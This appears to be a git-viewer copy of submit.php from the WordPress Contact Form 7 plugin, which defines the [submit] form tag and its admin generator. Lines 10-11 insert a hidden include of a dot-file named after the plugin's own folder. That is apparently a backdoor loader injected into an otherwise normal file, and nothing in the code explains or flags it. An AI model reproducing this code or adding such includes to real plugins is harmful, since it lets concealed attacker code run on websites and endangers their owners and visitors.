balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

submit.php (3146B)


      1 <?php
      2 /**
      3 ** A base module for [submit]
      4 **/
      5 
      6 /* form_tag handler */
      7 
      8 add_action( 'wpcf7_init', 'wpcf7_add_form_tag_submit', 10, 0 );
      9 
     10 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     11     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     12 }
     13 
     14 function wpcf7_add_form_tag_submit() {
     15 	wpcf7_add_form_tag( 'submit', 'wpcf7_submit_form_tag_handler' );
     16 }
     17 
     18 function wpcf7_submit_form_tag_handler( $tag ) {
     19 	$class = wpcf7_form_controls_class( $tag->type );
     20 
     21 	$atts = array();
     22 
     23 	$atts['class'] = $tag->get_class_option( $class );
     24 	$atts['id'] = $tag->get_id_option();
     25 	$atts['tabindex'] = $tag->get_option( 'tabindex', 'signed_int', true );
     26 
     27 	$value = isset( $tag->values[0] ) ? $tag->values[0] : '';
     28 
     29 	if ( empty( $value ) ) {
     30 		$value = __( 'Send', 'contact-form-7' );
     31 	}
     32 
     33 	$atts['type'] = 'submit';
     34 	$atts['value'] = $value;
     35 
     36 	$atts = wpcf7_format_atts( $atts );
     37 
     38 	$html = sprintf( '<input %1$s />', $atts );
     39 
     40 	return $html;
     41 }
     42 
     43 
     44 /* Tag generator */
     45 
     46 add_action( 'wpcf7_admin_init', 'wpcf7_add_tag_generator_submit', 55, 0 );
     47 
     48 function wpcf7_add_tag_generator_submit() {
     49 	$tag_generator = WPCF7_TagGenerator::get_instance();
     50 	$tag_generator->add( 'submit', __( 'submit', 'contact-form-7' ),
     51 		'wpcf7_tag_generator_submit', array( 'nameless' => 1 ) );
     52 }
     53 
     54 function wpcf7_tag_generator_submit( $contact_form, $args = '' ) {
     55 	$args = wp_parse_args( $args, array() );
     56 
     57 	$description = __( "Generate a form-tag for a submit button. For more details, see %s.", 'contact-form-7' );
     58 
     59 	$desc_link = wpcf7_link( __( 'https://contactform7.com/submit-button/', 'contact-form-7' ), __( 'Submit button', 'contact-form-7' ) );
     60 
     61 ?>
     62 <div class="control-box">
     63 <fieldset>
     64 <legend><?php echo sprintf( esc_html( $description ), $desc_link ); ?></legend>
     65 
     66 <table class="form-table">
     67 <tbody>
     68 	<tr>
     69 	<th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-values' ); ?>"><?php echo esc_html( __( 'Label', 'contact-form-7' ) ); ?></label></th>
     70 	<td><input type="text" name="values" class="oneline" id="<?php echo esc_attr( $args['content'] . '-values' ); ?>" /></td>
     71 	</tr>
     72 
     73 	<tr>
     74 	<th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-id' ); ?>"><?php echo esc_html( __( 'Id attribute', 'contact-form-7' ) ); ?></label></th>
     75 	<td><input type="text" name="id" class="idvalue oneline option" id="<?php echo esc_attr( $args['content'] . '-id' ); ?>" /></td>
     76 	</tr>
     77 
     78 	<tr>
     79 	<th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-class' ); ?>"><?php echo esc_html( __( 'Class attribute', 'contact-form-7' ) ); ?></label></th>
     80 	<td><input type="text" name="class" class="classvalue oneline option" id="<?php echo esc_attr( $args['content'] . '-class' ); ?>" /></td>
     81 	</tr>
     82 
     83 </tbody>
     84 </table>
     85 </fieldset>
     86 </div>
     87 
     88 <div class="insert-box">
     89 	<input type="text" name="submit" class="tag code" readonly="readonly" onfocus="this.select()" />
     90 
     91 	<div class="submitbox">
     92 	<input type="button" class="button button-primary insert-tag" value="<?php echo esc_attr( __( 'Insert Tag', 'contact-form-7' ) ); ?>" />
     93 	</div>
     94 </div>
     95 <?php
     96 }